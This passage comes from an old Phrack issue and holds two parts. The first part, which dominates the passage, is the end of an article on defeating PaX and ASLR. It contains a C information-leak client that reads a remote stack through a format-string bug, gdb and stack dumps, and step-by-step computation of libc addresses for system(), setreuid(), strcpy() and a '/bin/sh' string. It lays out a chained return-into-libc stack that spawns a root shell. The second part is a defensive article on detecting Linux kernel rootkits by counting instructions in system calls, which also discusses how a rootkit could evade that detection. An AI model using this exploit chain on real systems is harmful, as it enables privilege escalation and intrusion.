, argc=1, ubp_av=0xbffffd54, init=0x8048374 <_init>, fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>, stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129 (gdb) * WITH ET_EXEC base address randomization (gdb) bt #0 0x4365ef14 in __libc_read () at __libc_read:-1 #1 0x436aba58 in __DTOR_END__ () from /lib/libc.so.6 #2 0x4357d64f in ?? () #3 0x435bd2eb in __libc_start_main (main=0x8048634

, argc=1, ubp_av=0xb5c36cf4, init=0x8048374 <_init>, fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>, stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129 (gdb) As you can see, the symbol table is not synchronized anymore with the memory dump so that we cant rely on the resolved names to debug . Note that we will dispose of a correct symbol table in case the ET_EXEC binary object has been relinked into a ET_DYN one, has explained in paragraph 1, part c . [b] Using the exploit, here is what we can see if we examine the stack with or without the ET_EXEC rand option : bash$ ./runit [RECEIVED FROM SERVER] *Password: * Connected! Press ^C to launch : Starting remote stack retreiving ... Remote stack (with ET_EXEC rand enabled) : 00000000 08049820 0000002F 00000001 482D157C 4826FE10 BDDB44DC 4825864F 080486B0 BDDB4544 482AA138 48386A58 48265A90 BDDB44F8 BDDB4518 482982EB 00000001 BDDB4544 BDDB454C 0804868C If we disable the ET_EXEC rand option, here is what we see : bash$ ./runit (...) Remote stack (with ET_EXEC rand disabled) : 00000000 08049820 0000002F 00000001 4007757C 40015E10 BFFFFCEC 0804864F 080486B0 BFFFFD54 40050138 4012CA58 4000BA90 BFFFFD08 BFFFFD28 4003E2EB 00000001 BFFFFD54 BFFFFD5C 0804868C As we want to do a return into libc, address pointing in the libc are the most interresting . What we are looking for is the main() return address pointing in the remapped instance of the __libc_start_main function, in the .text section in the libc's address space . Here is how to interpret the stack dump : 00000000 (...) 08049820 0000002F 00000001 435F657C 43594E10 B5C36C8C do_auth frame pointer 4357D64F do_auth() return address 080486B0 do_auth parameter ('pass' ptr) B5C36CF4 435CF138 436ABA58 4358AA90 B5C36CA8 B5C36CC8 main() frame pointer 435BD2EB main() return address 00000001 argc B5C36CF4 argv B5C36CFC envp 0804868C (...) [c] Now let's look at the libc binary to know the relative address for functions we are interrested in . For that we'll use the regex option in ELFsh [9] : bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \ setreuid '\|' system ' [SYMBOL TABLE] [4425] 0x750d0 strcpy type: Function size: 00032 bytes => .text [4855] 0x48870 system type: Function size: 00730 bytes => .text [5670] 0xc59b0 setreuid type: Function size: 00188 bytes => .text [6126] 0x2efe0 exit type: Function size: 00248 bytes => .text bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main [SYMBOL TABLE] [6218] 0x1d230 __libc_start_main type: Function size: 00193 bytes => .text bash$ [d] As the main() function return into __libc_start_main , lets look precisely in the assembly code where main() will return . So, we would know the relative offset between the needed function address and the address of the 'call main' instruction . This code is located in the libc. This dump has been taken from my default SlackWare libc.so.6 for which you may not need to change relative file offsets in the exploit . 0001d230 <__libc_start_main>: 1d230: 55 push %ebp 1d231: 89 e5 mov %esp,%ebp 1d233: 83 ec 0c sub $0xc,%esp (...) 1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx 1d2eb: 50 push %eax 1d2ec: e8 9f f9 ff ff call 1cc90 (...) Instructions following this last 'call 1cc90' are 'nop nop nop nop', just headed by the 'Letext' symbol, but thats not interresting for us . Because the libc might have been recompiled, it may be possible to have different relative offsets for your own libc built and it would be very difficult to guess absolute addresses just using the main() return address in this case. Of course, if we have a binary copy of the used library (like a .deb or .rpm libc package), we can predict these offsets without any problem . Let's look at the offsets for my libc version, for which the exploit is based . We know from the 'bt' output (see above) that the main address is the first __libc_start_main() parameter . Since this function has a frame pointer, we deduce that 8(%ebp) contains the main() absolute address . The __libc_start_main function clearly does an indirect call through %edx on it (see the last 3 instructions) : 1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx We deduce that the return address we read in the process stack points on the intruction at file offset 1d2eb : 1d2eb: 50 push %eax We can now calculate the absolute address we are looking for : . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb . system() : file offset 0x48870, virtual address unknown . setreuid() : file offset 0xc59b0, virtual address unknown . exit() : file offset 0x2efe0, virtual address unknown . strcpy() : file offset 0x750d0, virtual address unknown What we deduce from this : . system() addr = main ret + (system offset - main ret offset) = 4003e2eb + (48870 - 1d2eb) = 4003e2eb + 2B585 = 40069870 . setreuid() addr = main ret + (setreuid offset - main ret offset) = 4003e2eb + (c59b0 - 1d2eb) = 4003e2eb + a86c5 = 400e69b0 . exit() addr = main ret + (exit offset - main ret offset) = 4003e2eb + (2efe0 - 1d2eb) = 4003e2eb + 11cf5 = 4004ffe0 . strcpy() addr = 4003e2eb + (750d0 - 1d2eb) = 4003e2eb + 57de5 = 400960d0 We needs some more offsets to perform a chained return into libc and insert NUL bytes as explained in Nergal's paper : - A pointer on the setreuid() parameter reposing on the stack, to be used as a dst strcpy parameter (we need to nullify it) : do_auth fp + 28 = B5C36CC8 + 1C = B5C36CE4 The setreuid parameter address (reposing on the stack) can be found using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or if there is no frame pointer, using whatever stack variable address we can guess . - A pointer on a NUL byte to be used as a src strcpy parameter (let's use the "/bin/sh" final byte address) main ret addr + (string offset - main ret offset) + strlen("/bin/sh") = 4003e2eb + (fcc19 - 1d2eb) + 7 = 4003e2eb + df92e + 7 = 4011dc19 + 7 = 4011dc20 - A "/bin/sh" string with predictable absolute address for the system() parameter (we will find one in the libc's .rodata section which is part of the same zone (has the same base address) than libc's .text) main ret addr + (string offset - main ret offset) = 4003e2eb + (fcc19 - 1d2eb) = 4003e2eb + df92e = 4011dc19 bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/' nbits.333 + 152 0xfcc18 : 00 2F 62 69 6E 2F 73 68 ./bin/sh nbits.333 + 160 0xfcc20 : 00 00 00 00 00 00 00 00 ........ -- zeroes + 19 0xff848 : 73 68 00 2F 62 69 6E 2F sh./bin/ zeroes + 27 0xff850 : 73 68 00 00 00 00 00 00 sh...... -- zeroes + 560 0xffad0 : 68 00 2F 62 69 6E 2F 73 h./bin/s zeroes + 568 0xffad8 : 68 00 74 6D 70 66 00 77 h.tmpf.w bash$ - A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in order to do %esp lifting (we will find many ones in libc's .text) For 'pop ret' sequence : bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 1 | \ grep pop -A 1 (...) 2c519: 5a pop %edx 2c51a: c3 ret (...) For 'pop pop ret' sequence : bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 3 | \ grep pop -A 3 | grep -v leave (...) 4ce25: 5e pop %esi 4ce26: 5f pop %edi 4ce27: c3 ret (...) Note: be careful and check if the addresses are contiguous for the 3 intructions because the regex I use it not perfect for this last test . Here is how you have to fill the stack in the final overflow (each case is 4 bytes lenght, the first dword is the return address of the vulnerable function) : 0: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 16: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 32: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 48: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 64: | setreuid addr | 'pop; ret' addr |setreuid argv1| system addr | 80: | exit addr | "/bin/sh" addr | ??? DONT ??? | ??? CARE ??? | We need to overflow at least 84 bytes after the original return address . This is not a problem . The 4 first return-into-strcpy are used to nullify the setreuid argument, which has to be a 0x00000000 dword . -------[ 4. Exploitation conditions The attack suffers from many known limitations as you will see . [a] Looking for exploitable stack based overflows Not all overflows can be exploited like this . memcpy() and strncpy() overflows are vulnerable, so as byte-per-byte overflows . Overflow involving functions whoose behavior is to append a NUL byte are not vulnerable, except if we can find a 'call printf' instruction whoose absolute address low byte is NUL . [b] Looking for leak functions We can use printf() to leak information about the address space . We can also return into send() or write() and take advantage of the very good error handling code : We will not crash the process if we try to read some unmapped process area . From the send(3) manual page : ERRORS (...) EBADF An invalid descriptor was specified. ENOTSOCK The argument s is not a socket. EFAULT An invalid user space address was specified for a parameter. (...) We may want to return-into-write or return-into-any_output_function if there is no printf and no send somewhere near the original return address, but depending on the output function, it would be quite hard to perform the attack since we would have to control many of the vulnerable function parameters . [c] The frame pointer problem and workaround The technique also suffers from the same limitation than klog's fp overwriting [7] . If the frame pointer register (%ebp) is used between the 'call printf' and the 'call vuln_func', the program will crash and we wont be able to call vuln_func() again . Programs like: /* Non-buggy passwd based authentication */ int do_auth() { int len; printf("Password: "); fflush(stdout); len = read(0, pass, sizeof(pass) - 1); if (len <= 0) FATAL("read"); pass[len] = 0; if (!verify(pass)) (...) are not exploitable using a return into libc because 'len' will be indexed through %ebp after the read() returns . If the program is compiled without frame pointer, such a limitation does not exist . [d] Discussion about segvguard Segvguard is a tool coded by Nergal described in his paper [3] . In short, this tool can be used to forbid the executable relaunching if it crashed too much times . If segvguard is used, we are definitely asked to find the output function in the very near (+- 256 bytes) or the original return address . If segvguard is not used, we can try a two byte EIP overflow and brute force the 4 randomized bits in the high part of the second overflowed byte . This way, we'll be able to return on a farer 'call printf' instruction, increasing our chances . -------[ 5. The code : DHagainstpax I would like to sincerely congratulate the PaX team because they own me (who's the ingratefull pig ? ;) and because they've done the best work I have ever seen in this field since Openwall . Thanks go to theowl, klog, MaXX, Nergal, kalou and korty for discussions we had on this issue . Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont feed the troll) . May you all guyz pray for peace . <++> DHagainstpax/leak.c !78040134 /* * * Info leak code against PaX + ASLR protection . * */ #include #include #include #include #include #include #include #include #define FATAL(str) { perror(str); exit(-1); } #define PORT_NUM 666 #define SERVER_IP "127.0.0.1" #define BUF_SIZ 37 #define FMT "%%%03u$08u \x9a" #define RETREIVED_STACKSIZE 20 u_int remote_stack[RETREIVED_STACKSIZE]; void sigint_handler(int sig) { printf("Starting remote stack retreiving ... "); } int main(int argc, char **argv) { char buff[256]; struct sockaddr_in addr; int sock; int len; u_int cnt; u_char fmt[BUF_SIZ + 1]; if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) FATAL("socket"); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT_NUM); addr.sin_addr.s_addr = inet_addr(SERVER_IP); if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) FATAL("connect"); len = read(sock, buff, sizeof(buff) - 1); buff[len] = 0; printf("[RECEIVED FROM SERVER] *%s* \n", buff); signal(SIGINT, sigint_handler); printf("Connected! Press ^C to launch : "); fflush(stdout); pause(); for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++) { snprintf(fmt, sizeof(fmt), FMT, cnt); write(sock, fmt, BUF_SIZ); len = read(sock, buff, sizeof(buff) - 1); buff[len] = 0; sscanf(buff, "%u", remote_stack + cnt); } printf("\n\nRemote stack : \n"); for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4) printf("%08X %08X %08X %08X \n", remote_stack[cnt], remote_stack[cnt + 1], remote_stack[cnt + 2], remote_stack[cnt + 3]); puts(""); return (0); } <--> <++> DHagainstpax/Makefile !d055b5f3 ## ## Makefile for DHagainstpax ## SRC1 = pax_daemon.c OBJ1 = pax_daemon.o NAM1 = paxtestd SRC2 = leak.c OBJ2 = leak.o NAM2 = runit CC = gcc CFLAGS = -Wall -g3 #-fomit-frame-pointer OPT = $(CFLAGS) DUMP = objdump -d --section='.text' DUMP2 = objdump --syms GREP = grep DUMPLOG = $(NAM1).asm CHPAX = chpax -X all : fclean leak vuln vuln : $(OBJ1) $(CC) $(OPT) $(OBJ1) -o $(NAM1) @echo "" $(CHPAX) $(NAM1) $(DUMP) $(NAM1) > $(DUMPLOG) @echo "" @echo "Try to locate 'call printf' ;) 5th call above 'call verify'" @echo "" $(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call' @echo "" $(DUMP2) $(NAM1) | grep printf @echo "" leak : $(OBJ2) $(CC) $(OPT) $(OBJ2) -o $(NAM2) clean : rm -f *.o *\# \#* *~ fclean : clean rm -f $(NAM1) $(NAM2) <--> -------[ 6. References [1] PaX homepage The PaX team http://pageexec.virtualave.net [2] The OpenWall project Solar Designer http://openwall.com/linux/ [3] Advanced return-into-lib(c) exploits Nergal http://phrack.org/show.php?p=58&a=4 [4] Pentium refefence manual 'system programming guide' http://developer.intel.com/design/Pentium4/manuals/ [5] Bypassing stackguard and stackshield Kil3r/Bulba http://phrack.org/show.php?p=56&a=5 [6] Writing alphanumeric shellcodes rix http://phrack.org/show.php?p=57&a=15 [7] Frame pointer overwriting klog http://phrack.org/show.php?p=55&a=8 [8] Exploiting format bugs scut http://team-teso.net/articles/formatstring/ [9] The ELFsh project devhell labs http://www.devhell.org/~mayhem/projects/elfsh/ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0a of 0x12 |=------=[ Execution path analysis: finding kernel based rootkits ]=-----=| |=-----------------------------------------------------------------------=| |=----------=[ Jan K. Rutkowski ]=----------=| --[ Introduction Over the years mankind has developed many techniques for masking presence of the attacker in the hacked system. In order to stay invisible modern backdoors modify kernel structures and code, causing that nobody can trust the kernel. Nobody, including IDS tools... In the article I will present a technique based on counting executed instructions in some system calls, which can be used to detect various kernel rootkits. This includes programs like SucKIT or prrf (see [SUKT01] and [PALM01]) which do not modify syscall table. I will focus on Linux kernel 2.4, running on Intel 32-bit Family processor (ia32). Also at the end of the article the PatchFinder source code is included - a proof of concept for described technique. I am not going to explain how to write a kernel rootkit. For details I send reader to the references. However I briefly characterize known techniques so their resistance to presented detection method can be described. --[ Background Lets take a quick look at typical kernel rootkits. Such programs must solve two problems: find a way to get into the kernel and modify the kernel in a smart way. On Linux the first task can be achieved by using Loadable Kernel Modules (LKM) or /dev/kmem device. ----[ getting into the kernel Using LKM is the easiest and most elegant way to modify the running kernel. It was probably first discussed by halflife in [HALF97]. There are many popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However this technique has a weak point - LKM can be disabled on some systems. When we do not have LKM support we can use technique, developed by Silvio Cesare, which uses /dev/kmem to access directly kernel memory (see [SILV98]). There is no easy work-around for this method, since patching do_write_mem() function is not sufficient, as it was recently showed by Guillaume Pelat (see [MMAP02]). ----[ modifying syscall table Providing that we can write to kernel memory, we face the problem what to modify. Many rootkits modifies syscall table in order to redirect some useful system calls like sys_read(), sys_write(), sys_getdents(), etc... For details see [HALF97] and source code of one of the popular rootkit ([KNAR01], [ADOR01]). However this method can be traced, by simply comparing current syscall table with the original one, saved after kernel creation. When there is LKM mechanism enabled in the system, we can use simple module, which read syscall table (directly accessing kernel memory) and then puts it into the userland (due to /proc filesystem for example). Unfortunately when LKM is not supported we can not read kernel memory reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem. We can not be sure that malicious code we are trying to find, does not alter sys_read()/sys_mmap() system calls. ----[ modifying kernel code Instead of changing pointers in the syscall table, malicious program can alter some code in the kernel, like system_call function. In this case analysis of syscall table would not show anything. Therefore we would like to scan scan kernel memory and check whether the code area has been modified. It is simple to implement if there is LKM enabled. However, if we do not have LKM support, we must access kernel memory through /dev/kmem and again we face the problem of unreliable sys_read()/sys_mmap(). SucKIT (see [SUKT01]) is an example of rootkit which uses /dev/kmem to access kernel and then changing system_call code, not touching original syscall table. Although SucKIT does not alter sys_read() and sys_mmap() behavior, this feature can be added, making it impossible to detect such backdoor by conventional techniques (i.e. memory scanning through /dev/kmem)... ----[ modifying other pointers In the previous issue of Phrack palmers presented nice idea of changing some pointers in /proc filesystem (see [PALM01]). Again if our system has LKM enabled we can, at least theoretically, check all the kernel structures and find out if somebody has changed some pointers. However it could be difficult in implementation, because we have to foresee all potential places the rootkit may exploit. With LKM disabled, we face the same problem as explained in the above paragraphs. --[ Execution path analysis (stepping the kernel) As we can see, detection of kernel rootkits is not trivial. Of course if we have LKM support enabled we can, theoretically, scan the whole kernel memory and find the intruder. However we must be very careful in deciding what to look for. Differences in the code indicates of course that something is wrong. Although change of some data should also be treated as alarm (see prrf.o again), modifications of others structures might be result of normal kernel daily tasks. The things become even more complicated when we disable LKM on our kernel (to be more secure:)). Then, as I have just said, we can not read kernel memory reliable, because we are not sure that sys_read() returns real bytes (so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills mapped pages with correct bytes... Lets try from other side. If somebody modified some kernel functions, it is very probable, that the number of instructions executed during some system calls (for e.g. sys_getdents() in case an attacker is trying to hide files) will be different than in the original kernel. Indeed, malicious code must perform some additional actions, like cutting off secret filenames, before returns results to userland. This implies execution of many more instructions compared to not infected system. We can measure this difference! ----[ hardware stepper The ia32 processor, can be told to work in the single-step mode. This is achieved by setting the TF bit (mask 0x100) in EFLAGS register. In this mode processor will generate a debug exception (#DB) after every execution of the instruction. What is happened when the #DB exception is generated? Processor stops execution of the current process and calls debug exception handler. The #DB exception handler is described by trap gate at interrupt vector 1. In Intel's processors there is an array of 256 gates, each describing handler for a specific interrupt vector (this is probably the Intel's secret why they call this scalar numbers 'vectors'...). For example at position 0x80 there is a gate which tells where is located handler of the 0x80 trap - the Linux system call. As we all know it is generated by the process by means of the 'int 0x80' instruction. This array of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by the idtr register. In Linux kernel, you can find this handler in arch/i386/kernel/entry.S file. It is called 'debug'. As you can see, after some not interesting operations it calls do_debug() function, which is defined in arch/i386/kernel/traps.c. Because #DB exception is devoted not only for single stepping but to many other debugging activities, the do_debug() function is a little bit complex. However it does not matter for us. The only thing we are interested in, is that after detecting the #DB exception was caused by single stepping (TF bit) a SIGTRAP signal is sent to traced process. The process might catch this signal. So, it looks that we can do something like this, in our userland program: volatile int traps = 0; int trap () { traps++; } main () { ... signal (SIGTRAP, sigtrap); xor_eflags (0x100); /* call syscall we want to test */ read (fd, buff, sizeof (buff)); xor_eflags (0x100); printf ("testing syscall takes %d instruction\n", traps); } It looks simple and elegant. However has one disadvantage - it does not work as we want. In variable traps we will find only the number of instructions executed in userland. As we all know, read() is only a wrapper to 'int 0x80' instruction, which causes the processor calls 0x80 exception handler. Unfortunately the processor clears TF flag when executing 'int x' (and this instruction is causing privilege level changing). In order to stepping the kernel, we must insert some code into it, which will be responsible for setting the TF flag for some processes. The good place to insert such code is the beginning of the 'system_call' assembler routine (defined in arch/i386/kernel/entry.S.), which is the entry for the 0x80 exception handler. As I mentioned before the address of 'system_call' is stored in the gate located at position 0x80 in the the Interrupt Descriptor Table (IDT). Each gateway (IDT consist of 256 of them) has the following format: struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)); The 'sel' field holds the segment selector, and in case of Linux is equal to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the segment, and because the segments in Linux have the base 0x0, it means that it is equal to the linear address. The fields 'none' and 'flags' are used to tell the processor about some additional info about calling the handler. See [IA32] for detail. The idtr register, points to the beginning of IDT table (it specifies linear address, not logic as was in idt_gate): struct idtr { unsigned short limit; unsigned int base; /* linear address of IDT table */ } __attribute__ ((packed)); Now we see, that it is trivial to find the address of system_call in our Linux kernel. Moreover, it is also easy to change this address to a new one. Of course we can not do it from userland. That is why we need a kernel module (see later discussion about what if we have LKM disabled), which changes the address of 0x80 handler and inserts the new code, which we use as the new system_call. And this new code may look like this: ENTRY(PF_system_call) pushl %ebx movl $-8192, %ebx andl %esp, %ebx # %ebx <-- current testb $PT_PATCHFINDER,24(%ebx) # 24 is offset of 'ptrace' je continue_syscall pushf popl %ebx orl $TF_MASK, %ebx # set TF flag pushl %ebx popf continue_syscall: popl %ebx jmp *orig_system_call As you can see, I decided to use 'ptrace' field within process descriptor, to indicate whether a particular process wants to be single traced. After setting the TF flag, the original system_call handler is executed, it calls specific sys_xxx() function and then returns the execution to the userland by means of the 'iret' instruction. Until the 'iret' every single instruction is traced. Of course we have to also provide our #DB handler, to account all this instructions (this will replace the system's one): ENTRY(PF_debug) incl PF_traps iret The PF_traps variable is placed somewhere in the kernel during module loading. To be complete, we also need to add a new system call, which can be called from the userland to set the PT_PATCHFINDER flag in current process descriptor's 'ptrace' variable, to reset or return the counter value. asmlinkage int sys_patchfinder (int what) { struct task_struct *tsk = current; switch (what) { case PF_START: tsk->ptrace |= PT_PATCHFINDER; PF_traps = 0; break; case PF_GET: tsk->ptrace &= ~PT_PATCHFINDER; break; case PF_QUERY: return PF_ANSWER; default: printk ("I don't know what to do!\n"); return -1; } return PF_traps; } In this way we changed the kernel, so it can measure how many instructions each system call takes to execute. See module.c in attached sources for more details. ----[ the tests Having the kernel which allows us to counter instructions in any system call, we face the problem what to measure. Which kernel functions should we check? To answer this question we should think what is the main task of every rootkit? Well, its job is to hide presence of attacker's process/files/connections in the rooted system. And those things should be hidden from such tools like ls, ps, netstat etc. These programs collect the system information through some well known system calls. Even if backdoor does not touch syscall directly, like prrf.o, it modifies some kernel functions which are activated by one of the system call. The problem lies in the fact, that these modified functions does not have to be executed during every system call. For example if we modify only some pointer to reading functions in procfs, then attacker's code will be executed only when read() is called in order to read some specific file, like /proc/net/tcp. It complicates detection a little, since we have to measure execution time of particular system call with different arguments. For example we test sys_read() by reading "/etc/passwd", "/dev/kmem" and "/proc/net/tcp" (i.e. reading regular file, device and pseudo proc-file). We do not test all system calls (about 230) because we assume that some routine tasks every backdoor should do, like hiding processes or files, will use only some little subset of syscalls. The tests included in PatchFinder, are defined in tests.c file. The following one is trying to find out if somebody is hiding some processes and/or files in the procfs: int test_readdir_proc () { int fd, T = 0; struct dirent de[1]; fd = open ("/proc", 0, 0); assert (fd>0); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } Of course it is trivial to add a new test if necessary. There is however, one problem: false positives. Linux kernel is a complex program, and most of the system calls have many if-then clauses which means different patch are executed depending on many factors. These includes caches and 'internal state of the system', which can be for e.g. a number of open TCP connections. All of this causes that sometime you may see that more (or less) instructions are executed. Typically this differences are less then 10, but in some tests (like writing to the file) it may be even 200!. This could be minimizing by increasing the number of iteration each test is taken. If you see that reading "proc/net/tcp" takes longer try to reset the TCP connections and repeat the tests. However if the differences are significant (i.e. more then 600 instructions) it is very probably that somebody has patched your kernel. But even then you must be very careful, because this differences may be caused by some new modules you have loaded recently, possibly unconscious. --[ The PatchFinder Now the time has came to show the working program. A proof of concept is attached at the end of this article. I call it PatchFinder. It consist of two parts - a module which patches the kernel so that it allows to debug syscalls, and a userland program which makes the tests and shows the results. At first you must generate a file with test results taken on the clear system, i.e. generated after you installed a new kernel. Then you can check your system any time you want, just remember to insert a patchfinder.o module before you make the test. After the test you should remove the module. Remember that it replaces the Linux's native debug exception handler! The results on clear system may look like this (observe the little differences in 'diff' column): test name | current | clear | diff | status ------------------------------------------------------ open_file | 1401| 1400| 1| ok stat_file | 1200| 1200| 0| ok read_file | 1825| 1824| 1| ok open_kmem | 1440| 1440| 0| ok readdir_root | 5784| 5774| 10| ok readdir_proc | 2296| 2295| 1| ok read_proc_net_tcp | 11069| 11069| 0| ok lseek_kmem | 191| 191| 0| ok read_kmem | 322| 321| 1| ok The tests on the same system, done when there was a adore loaded shows the following: test name | current | clear | diff | status ------------------------------------------------------ open_file | 6975| 1400| 5575| ALERT! stat_file | 6900| 1200| 5700| ALERT! read_file | 1824| 1824| 0| ok open_kmem | 6952| 1440| 5512| ALERT! readdir_root | 8811| 5774| 3037| ALERT! readdir_proc | 14243| 2295| 11948| ALERT! read_proc_net_tcp | 11063| 11069| -6| ok lseek_kmem | 191| 191| 0| ok read_kmem | 321| 321| 0| ok Everything will be clear when you analyze adore source code :). Similar results can be obtained for other popular rootkits like knark or palmers' prrf.o (please note that the prrf.o does not change the syscall table directly). The funny thing happens when you try to check the kernel which was backdoored by SucKIT. You should see something like this: ---== ALERT! ==-- It seems that module patchfinder.o is not loaded. However if you are sure that it is loaded, then this situation means that with your kernel is something wrong! Probably there is a rootkit installed! This is caused by the fact that SucKIT copies original syscall table into new position, changes it in the fashion like knark or adore, and then alters the address of syscall table in the system_call code so that it points to this new copy of the syscall table. Because this copied syscall table does not contain a patchfinder system call (patchfinder's module is inserted just before the tests), the testing program is unable to speak with the module and thinks it is not loaded. Of course this situation easy betrays that something is wrong with the kernel (or that you forgot to load the module:)). Note, that if patchfinder.o is loaded you can not start SucKIT. This is due its installation method which assumes how the system_call's binary code should look like. SucKIT is very surprised seeing PS_system_call instead of original Linux 0x80 handler... There is one more thing to explain. The testing program, before the beginning of the tests, sets SCHED_FIFO scheduling policy with the highest rt_priority. In fact, during the tests, only the patchfinder's process has CPU (only hardware interrupts are serviced) and is never preempted, until it finishes the tests. There are three reasons for such approach. TF bit is set at the beginning of the system_call, and is cleared when the 'iret' instruction is executed at the end of the exception handler. During the time the TF bit is set, sys_xxx() is called, but after this some scheduling related stuff is also executed, which can lead to process switch. This is not good, because it causes more instruction to be executed (in the kernel, we do not care about instructions executed in the switched process of course). There is also a more important issue. I observed that, when I allow process switching with TF bit set, it may cause processor restart(!) after a few hundred switches. I did not found any explanation of such behavior. The following problem does not occur when SET_SCHED is set. The third reason to use realtime policy is to guarantee system state as stable as possible. For example if our test was run in parallel with some process which opens and reads lots of files (like grep), this could affect some tests connected with sys_open()/sys_read(). The only disadvantage of such approach is that your system is inaccessible during the tests. However it does not take long since a typical test session (depending on the number of iterations per each test) takes less then 15 seconds to complete. And a technical detail: attached source code is using LKM to install described kernel extensions. At the beginning of the article I have said, that on some systems LKM is not compiled into the kernel. We can use only /dev/kmem. I also said that we can not relay on /dev/kmem since we are using syscalls to access it. However it should not be a problem for tool like patchfinder, because if rootkit will disturb in loading of our extensions we should see that the testing program is not working. See also discussion in the next section. --[ Cheating & hardening patchfinder program Now I will try to discuss a possible methods of compromising presented method in general and attached patchfinder program in particular. I will also try to show how to defend against such attacks, describing the properties of the next generation patchfinder... The first thing a malicious code can do is to check if it is traced. It may simply execute: pushf popl %ebx testb $0x100, %ebx jne i_am_traced # contine executing ... i_am_traced: # deinstall for # a moment ... When malicious code realize that it is traced it may uninstall itself from the specific syscall. However, before that, it will settle in the timer interrupt handler, so after for e.g. 1 minute it will back to that syscall. How to defend such trick? Well, remember that we (i.e. patchfinder) are tracing the code all the time. So the debug handler (which is provided by us) can detect that 'pushf' instruction has been just executed. Then it may alter the 'eflags' saved on the stack (by just executed 'pushf'), so that for the traced process it looks like the TF flags was cleared. I do not see at the moment any other general attack against execution trace analysis. However, there are possibilities of cheating a specific implementation, like patchfinder, which I am going to discuss now. The attacker can alter sys_write() and check if process named 'patchfinder' is trying to write a specific line to stdout - a line with some test result. Then it will change the write()'s buffer and user will see faked results. Similar, the rootkit may realized that a file with clear system characteristic is to be read and change the buffer returned from sys_read(), so the patchfinder will get false references. Moreover, when patchfinder uses a fixed number for its system call, the malicious rootkit can change the results returned by that system call and in result cheat testing process about the number of instruction executed. We can defend against such attacks, by causing that on each system patchfinder's executable will get different name and also by encrypting the file with clear system's characteristics. More over we should use different numbers for patchfinder's system call. The rootkit could easily trace the patchfinder's process by seeing that it calls specific system call. We are not limited to only to empty system calls, since we can replace any existing system call and first check if some magic numbers are in arguments. In case there is no magic arguments we simply call original sys_xxx(). Although using random number for patchfinder's syscall we makes it a little bit harder for the rootkit to cheat the results returned to the patchfinder process, it is still possible for the malicious code to find out which syscall is being used. It can be achieved by pattern searching for the specific binary instruction. This will be easy since attacker knows everything about the source code (and binary) of the patchfinder program. Another method can exploit the fact that patchfinder marks a process to be traced in some specific way (i.e. setting a bit in 'ptrace' field of the process descriptor). Malicious rootkit can replace the system_call routine with its own version. This new version will check if the process is marked by patchfinder and then it will use original syscall table. If it is not marked by testing process another syscall table will be used (which has some sys_xxx() functions replaced). It will be hard for the #DB exception handler to find out whether the rootkit is trying to check for e.g. the 'ptrace' field, since the code doing this can have many forms. The debug exception handler's code can also betrays where is located the counter variable (PF_traps) in memory. Knowing this address, smart rootkit can decrease this variable at the end of its 'operational' code, by the number of instructions in this additional code. The only remedy I can see for the above weaknesses can be strong polymorphism. The idea is to add a polymorphic code generator to the patchfinder distribution which, for every system it is installed on, will create a different binary images for patchfinder's kernel code. This generation could be based on some passphrase the administrator will provide at the installation time. I have not yet implemented polymorphic approach, but it looks promising... --[ Another solutions The presented technique is a proposition of general approach to detect kernel based rootkits. The main problem in such actions is that we want to use kernel to help us detect malicious code which has the full control of our kernel. In fact we can not trust the kernel, but on the other hand want to get some reliable information form it. Debugging the execution path of the system calls is probably not the only one solution to this problem. Before I have implemented patchfinder, I had been working on another technique, which tries to exploit differences in the execution time of some system calls. The tests were actually the same as those which are included with patchfinder. However, I have been using processor 'rdtsc' instruction to calculate how many cycles a given piece of code has been executed. It worked well on processor up to 500Mhz. Unfortunately when I tried the program on 1GHz processor I noted that the execution time of the same code can be very different from one test to another. The variation was too big, causing lots of false positives. And the differences was not caused by the multitasking environment as you may think, but lays deeply in the micro-architecture of the modern processors. As Andy Glew explained me, these beasties have tendencies to stabilizes the execution time on one of the possible state, depending on the initial conditions. I have no idea how to cause the initial state to be the same for each tests or even to explore the whole space of theses initial states. Therefore I switched to stepping the code by the hardware debugger. However the method of measuring the times of syscall could be very elegant... If it was working. Special thanks to Marcin Szymanek for initial idea about this timing-based method. Although it can be (possibly) many techniques of finding rootkits in the kernel, it seems that the general approach should exploit polymorphism, as it is probably the only way to get reliable information from the compromised kernel. --[ Credits Thanks to software.com.pl for allowing me to test the program on different processors. --[ References [HALF97] halflife, "Abuse of the Linux Kernel for 